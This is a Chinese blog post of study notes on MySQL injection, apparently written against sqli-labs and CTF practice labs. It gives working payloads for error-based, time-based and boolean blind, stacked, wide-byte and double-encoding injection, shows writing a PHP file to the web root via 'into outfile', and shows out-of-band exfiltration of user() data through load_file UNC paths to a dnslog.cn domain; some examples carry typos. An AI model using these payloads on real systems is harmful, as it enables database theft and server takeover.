mysql注入-一般方法篇

一个很久之前学习mysql注入的笔记

#### (1)增删改查语句
1. Insert :    insert into mrkaixin values( ' 1’ , ' nepnep');
2. Delete :   delete from mrkaixin where xXXX;
3. Update :  update mrkaixin set name = 'x’ where id = 3;
4. Select :     select * from mrkaixin:
#### (2)Mysql的常用的变量(函数)
1. Database() /查看当前数据库名
2.User() 1/用户
3.Version() / mysql 版本
4.@@basedir /安装路径
#### (3)Mysql的常用的符号逻辑运算符:
1.& and
2.ll or
3.xor
#### Mysql的常用的函数
#### 字符串截取函数
·Substr(截取的原字符串:database(),截取的开始位置:1,截取长度:1)
Substring
·Mid(database(),1,1)
·Left(database(),1)
·right(database(),1)
#### 编码函数
Ascii()
Hex()z
ord()
Char()/ascii()的逆函数
#### 文件函数
Load_file()/读取文件内容
1.    连接数据库:D:\phpStudy_64\phpstudy_pro\Extensions\MySQL5.7.26\bin>mysql -h127.0.0.1 -p8090 -u root -p123456

2.    查询mysql版本
 
3.     查询当前用户名
 
4.    查询所有库名
 
5.     使用数据库
 
6.    查询当前库名
 
7.     查询数据库所有表名
 
8.     查询表中所有内容

9.    查询表中指定内容
 
10.     创建库
 
11.     创建表(同时要声明表的内容字段)
 
12.     在表中新增(插入数据内容)
   
13.     修改表里的数据内容
   
14.     查询表里的数据结构和字段的类型
 
describe(select * from animal);
 
15.     删除数据
 
 
16.     常见注释符:
%23(#),--+,;%00
17.     报错注入
Tips:报错有长度限制32位(通过substring等截取字符段分开多次注入即可得到全部内容)
updatexml更新xml文档
正规的使用:Select * from users where id =1 and updatexml(文档,正确的路径 ,更新的内容)
示例:Select * from users where id =1 and updatexml(0x0a,(select database()),’1’)
原理:将报错的内容改为要输出的内容
注:0x0a表示换行,0x7e表示~
 
Extractvalue:对xml文档进行查询
语法:extractvalue(文档类型,xpath路径)
18.    时间盲注
法一:sleep()---------------------------------------------------------------------------------
示例:Select * from users and if(ascaii(substr(database())<1,1,1),sleep(3),0)
Tips:if(expr1,expr2,expr3)语句作用为如果expre1为真则返回expr2,为假返回expr3
原理:将要测试的内容条件作为expr1,如果为真就会有延时,为假就不延时,是否延时可以在burp的repeater右下角看到返回时间判断
例如示例作用为判断库名第一个字母ascaii值,可以通过返回结果逐个判断得到完整的库名
法二:-benchmark()--------------------------------------------------------------------------
示例:Select benchmark(1000000000,sha(1));
原理:通过执行大量次数的操作造成延时,示例效果为执行1000000000次sha(1)命令造成延时,可以作为返回的判断效果
法三:笛卡尔积---------------------------------------------------------------------------------

19.    布尔盲注
20.    示例:Select * from users and (ascaii(substr(database())<1,1,1))
作用:根据返回结果的差异判断条件是否满足,作用效果和上面的时间盲注示例一样
21.    堆叠注入
示例1(在mysql里面):select * from users and select * from animal;
结果:只返回一个结果
示例2(在mysql里面):select * from users;select * from animal;
结果:返回两个结果
可以使用;来堆叠注入的php代码:http://5cbc194a-8dc1-4831-a1fa-4e803e9ad31a.node3.buuoj.cn/的第一关
 
不能使用;来堆叠注入的php代码:http://5cbc194a-8dc1-4831-a1fa-4e803e9ad31a.node3.buuoj.cn/的第三十八关
 
区别:mysqli_query和mysqli_mutil_query
22.    文件读写
----------------------------------------------------------------------------------------
Tips:默认情况下mysql是不允许文件读写的,要修改配置文件
1.    打开phpstudy的设置板块,选择配置文件,点击进入
在配置文件[mysqld]里面加入:secure-file-priv=Null(或去掉NULL直接留空)
2. 重启mysql导入配置
----------------------------------------------------------------------------------------
读取文件操作(mysql里面):load_file(‘文件路径’)
示例:load_file(“D:\temp\1.txt”)


写文件操作(mysqlsql里面):
Into outfile ‘绝对路径’
Into dumpfile ‘绝对路径’
区别:into outfile函数会在末端写入新行而且会转义字符,所以用into outfile写一些dll或其他二进制文件,那么这个文件可能会被破坏
可以用into dumpfile导出一个完整能执行的二进制文件
使用条件:1.设置好了配置文件secure-file-priv=Null
2.    使用绝对路径
3.    文件不存在
4.    有权限
示例:…../?id=1’ union select 1,database(),3 into outfile(或者dumpfile) “D:\1.txt”#
效果:得到的内容会写入输出到新建的D:\1.txt文件里面
----------------------------------------------------------------------------------------
写shell
如果知道web服务器路径,我们可以写入shell
示例:/?id=-1' union select 1,’<?php phpinfo(); ?>',3 into OUTFILE "H.1phpstudy.prolWWW\cms\Sali.Edited..Version\sqlilabs\Less-7\lshell.php"--+
效果:将php信息全部写入到指定的文件里
23.DNSLOG
 UNC路径----------------------------------------------------------------------------------------
格式:\servername\sharename
Servename为服务器名,sharename为共享资源名称
UNC路径使用方法测试------------------------------------------------------------------------
在Win+R窗口输入一个UNC路径(一个文件名):\要传输的内容.DNSLOG获得的域名\abc
或者:在CMD窗口输入:ping \要传输的内容.DNSLOG获得的域名\abc’
然后在DNSLOG平台刷新获取记录就可以看到:传输的内容.DNSLOG获得的域名
原理:根据此原理,用load_file ’构造好的文件名’尝试打开一个指定构造的UNC文件即可在DNSLOG平台看到传输的内容



----------------------------------------------------------------------------------------
第一步:打开DNSLOG平台获得一个域名
第二步:用load_file ’文件路径’读取一个文件名为:\要传输的内容.DNSLOG获得的域名\abc的文件
操作示例:select * from users load_file ‘\test.DNSLOG获得的域名\abc’

示例:http:/localhost/Less-38/?id=-1; select 1,2,LOAD_FILE(GROUP_CONCAT(‘\\’,substr(user(),2,1),’7jto34.dnslog.cn\abc');-+
解释:GROUP_CONCAT(‘\\’,substr(user(),2,1),’.7jto34.dnslog.cn\abc'))的作用是合成一个字符串’\o.7jto34.dnslog.cn\abc’
原因:’\\’表示两个解除转义的’&rsquo;,其中user()为root,substr(要截取的字符        串:root,开始位置:2,截取长度:1)函数运行后截取root的第2个字符’o’,’     7jto34.dnslog.cn’为DNSLOG平台获得的域名
24.    宽字节注入
条件:sql注入解析使用的是gbk编码,utf-8不行
代码分析:
    addslashes函数将会在一些危险字符(包括’和#)面前加入一个反斜杠<br />    传入sql注入语句为gbk参数可用宽字节注入
难点:
    要闭合单引号,但是传入的单引号会被加一个\从而变成一个字符失去闭合效果
Payload:?id=%df%27
payload分析:%27为单引号所以addslashes函数会在%27前面加一个\得%df%27
            \的url编码为%5c编码后得到%df%5c%27
%df%5c解码后会得到一个繁体字的运 ,从而%27单引号逃逸出来,变成运’

25.    二次编码注入
前提知识:
1.    mysql_real_escape_string(string, connection)函数会在[\x00],[\n],[\r],[],[’],[”],[\x1a]这七个字符出现的前面加一个反斜杠<br />绕过Tips注:想要绕过这个函数,在linux下的mysql表明列名是忽略大小写的但是账号密码区分大小写,当为登录类型的注入是,password和username都是列名,可以忽略大小写,利用这点绕过mysql_real_escape_string函数;或者当存在二次编码时可利用像例题一样的方式绕过
    2.urldecode()函数会将参数进行url解码
        
 
Payload中%2527不在escape函数排查的字符里面,而%25解码后得到的就是%所以%2527变成%27,是一个单引号’
26.     SQL注入总结的平台
27.     无列名注入(知道库名表名即可)
错误:mysql> select 1,(select group_concat(1) from(select 1,2,3 union select * from test.animal)x);
正确:mysql> select 1,(select group_concat(a) from(select 1 as a,2 as b,3 union select * from test.animal)x);
正确:mysql> select 1,(select group_concat(‘1’) from(select 1,2,3 union select * from test.animal)x);

贴一张来自https://blog.csdn.net/Fly_hps/article/details/80646151    的注入导图:
图片.png




posted @ 2022-04-25 12:03  h0cksr  阅读(1458)  评论(0)    收藏  举报